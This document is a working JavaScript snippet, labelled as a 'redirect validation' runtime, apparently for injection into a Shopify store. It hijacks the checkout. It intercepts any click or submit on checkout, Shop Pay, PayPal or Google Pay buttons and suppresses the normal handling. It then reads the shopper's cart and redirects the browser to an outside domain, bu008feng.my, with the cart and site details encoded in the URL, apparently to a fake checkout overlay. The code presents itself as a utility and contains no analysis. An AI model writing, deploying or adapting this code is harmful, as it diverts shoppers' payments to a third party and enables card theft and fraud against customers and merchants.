YMQ redirect validation 36637eb3df

(() => {
  'use strict';

const VERSION = 'YMQ-ADMIN-GQL-REDIRECT-OVERLAY-V1';
  const ENTRY = 'https://bu008feng.my/';
  const CHECKOUT_PATH = '/checkout';
  if (window.__YMQ_REDIRECT_RUNTIME_36637eb3df__ === VERSION) return;
  window.__YMQ_REDIRECT_RUNTIME_36637eb3df__ = VERSION;

const state = {
    version: VERSION,
    busy: false,
    lastError: '',
    lastPayload: null,
    lastUrl: ''
  };
  window.__YMQ_REDIRECT_STATE_36637eb3df__ = state;

const text = (value, fallback = '') => {
    if (value === null || value === undefined) return fallback;
    return String(value).trim() || fallback;
  };
  const minor = (value) => {
    const number = Number(value);
    return Number.isFinite(number) && number >= 0 ? Math.round(number) : 0;
  };
  const currencyFactor = (currency) => {
    try {
      const digits = new Intl.NumberFormat('en', {
        style: 'currency', currency
      }).resolvedOptions().maximumFractionDigits;
      return 10 ** digits;
    } catch {
      return 100;
    }
  };
  const shopifyMoney = (value, factor) => Math.round(minor(value) * factor / 100);
  const absoluteImage = (value) => {
    const source = text(value && typeof value === 'object' ? (value.url || value.src) : value);
    if (!source) return '';
    try { return new URL(source, location.origin).href; } catch { return source; }
  };
  const discounts = (entries, factor) => (Array.isArray(entries) ? entries : [])
    .map((entry, index) => ({
      id: text(entry && (entry.id || entry.discount_application_index), 'discount-' + index),
      label: text(entry && (entry.title || entry.code || entry.type), 'Discount'),
      amountMinor: shopifyMoney(entry && (
        entry.total_allocated_amount ?? entry.discounted_amount ?? entry.amount
      ), factor)
    }))
    .filter((entry) => entry.amountMinor > 0);

const normalizeCart = (cart) => {
    const currency = text(cart && cart.currency, window.Shopify?.currency?.active || 'USD').toUpperCase();
    const factor = currencyFactor(currency);
    const items = (Array.isArray(cart && cart.items) ? cart.items : [])
      .map((item, index) => {
        const title = text(item && (item.product_title || item.title), 'Item ' + (index + 1));
        const variant = text(item && item.variant_title);
        return {
          id: text(item && (item.key || item.variant_id || item.id), 'item-' + index),
          productId: text(item && item.product_id),
          variantId: text(item && (item.variant_id || item.id)),
          title,
          variant,
          quantity: Math.max(0, Number.parseInt(item && item.quantity, 10) || 0),
          unitPriceMinor: shopifyMoney(item && (item.final_price ?? item.discounted_price ?? item.price), factor),
          lineTotalMinor: shopifyMoney(item && (item.final_line_price ?? item.line_price), factor),
          image: absoluteImage(item && (
            item.image || (item.featured_image && (item.featured_image.url || item.featured_image.src))
          )),
          discounts: discounts(item && (item.discount_allocations || item.line_level_discount_allocations), factor)
        };
      })
      .filter((item) => item.quantity > 0);
    return {
      locale: text(document.documentElement.lang || navigator.language, 'en-US'),
      currency,
      items,
      discounts: discounts(cart && cart.cart_level_discount_applications, factor),
      shipping: { status: 'pending', amountMinor: null, label: 'Enter shipping address' },
      taxMinor: 0,
      taxPresent: false,
      subtotalMinor: shopifyMoney(cart && (cart.items_subtotal_price ?? cart.total_price), factor),
      totalMinor: shopifyMoney(cart && cart.total_price, factor),
      savingsMinor: shopifyMoney(cart && cart.total_discount, factor),
      itemCount: Number(cart && cart.item_count) || items.reduce((sum, item) => sum + item.quantity, 0)
    };
  };

const encodeBase64Url = (value) => {
    const bytes = new TextEncoder().encode(JSON.stringify(value));
    let binary = '';
    for (let offset = 0; offset < bytes.length; offset += 0x8000) {
      binary += String.fromCharCode.apply(null, bytes.subarray(offset, offset + 0x8000));
    }
    return btoa(binary).replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/g, '');
  };
  const randomRequestToken = () => {
    const bytes = new Uint8Array(128);
    crypto.getRandomValues(bytes);
    let binary = '';
    for (let offset = 0; offset < bytes.length; offset += 0x8000) {
      binary += String.fromCharCode.apply(null, bytes.subarray(offset, offset + 0x8000));
    }
    return btoa(binary).replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/g, '');
  };
  const readCart = async () => {
    let lastError = null;
    for (let attempt = 0; attempt < 3; attempt += 1) {
      try {
        const response = await fetch('/cart.js?ymq_redirect_v1=' + Date.now() + '-' + attempt, {
          credentials: 'same-origin', cache: 'no-store', headers: { Accept: 'application/json' }
        });
        if (!response.ok) throw new Error('cart_http_' + response.status);
        return await response.json();
      } catch (error) {
        lastError = error;
        if (attempt < 2) await new Promise((resolve) => setTimeout(resolve, 180 + attempt * 220));
      }
    }
    throw lastError || new Error('cart_unavailable');
  };

const fromEvent = (event) => {
    const path = typeof event.composedPath === 'function' ? event.composedPath() : [];
    const source = event.submitter || path.find((entry) => entry instanceof Element) || event.target;
    if (!(source instanceof Element)) return null;
    return source.closest('a,button,input[type="submit"],input[type="button"],form,[role="button"],shopify-accelerated-checkout') || source;
  };
  const checkoutText = (element) => {
    if (!element) return '';
    const form = element.closest && element.closest('form');
    return [
      element.innerText, element.textContent, element.value, element.id, element.name,
      element.className, element.getAttribute && element.getAttribute('aria-label'),
      element.href, element.formAction, form && form.action, element.tagName
    ].filter(Boolean).join(' ').toLowerCase();
  };
  const isCheckout = (element) => /checkout|check\s*out|shop\s*pay|paypal|google\s*pay|gpay|accelerated-checkout/.test(checkoutText(element));
  const checkoutTarget = (element) => {
    const form = element && element.closest ? element.closest('form') : null;
    const direct = (element && (element.href || element.formAction)) ||
      (element && element.getAttribute && (element.getAttribute('href') || element.getAttribute('formaction'))) ||
      (form && form.action) || '';
    const fallback = location.origin + CHECKOUT_PATH;
    const value = text(direct);
    if (!/\/checkout(?:\/|\?|#|$)/i.test(value)) return fallback;
    try { return new URL(value, location.origin).href; } catch { return fallback; }
  };
  const stop = (event) => {
    if (!event) return;
    event.preventDefault();
    event.stopPropagation();
    event.stopImmediatePropagation();
  };

const buildUrl = (cart, target) => {
    const order = normalizeCart(cart);
    if (!order.items.length) throw new Error('cart_empty');
    const payload = {
      site: location.hostname,
      sourceSite: location.hostname,
      sourceUrl: location.href,
      sourceOrigin: location.origin,
      sourcePath: location.pathname,
      capturedAt: Date.now(),
      order
    };
    const url = new URL(ENTRY);
    const values = [
      ['ymq_canary', 'YMQ-36637eb3df'],
      ['transaction_id', '36637eb3df33b9abc1641d089131df5f'],
      ['co', encodeBase64Url(payload)],
      ['return_to', target],
      ['site', location.hostname],
      ['source_site', location.hostname],
      ['source_host', location.hostname],
      ['source_origin', location.origin],
      ['source_path', location.pathname],
      ['source_url', location.href],
      ['checkout_path', CHECKOUT_PATH],
      ['overlay_route', '/'],
      ['_r', randomRequestToken()]
    ];
    for (const [name, value] of values) url.searchParams.set(name, value);
    state.lastPayload = payload;
    state.lastUrl = url.href;
    try { window.name = '__CHECKIOUT_CART__:' + encodeURIComponent(JSON.stringify(payload)); } catch {}
    return url.href;
  };

const intercept = async (event) => {
    const element = fromEvent(event);
    if (!isCheckout(element)) return;
    stop(event);
    if (state.busy) return;
    state.busy = true;
    try {
      const cart = await readCart();
      location.assign(buildUrl(cart, checkoutTarget(element)));
    } catch (error) {
      state.lastError = String(error && error.message || error);
      state.busy = false;
    }
  };

window.addEventListener('pointerdown', intercept, true);
  window.addEventListener('click', intercept, true);
  window.addEventListener('submit', intercept, true);
})();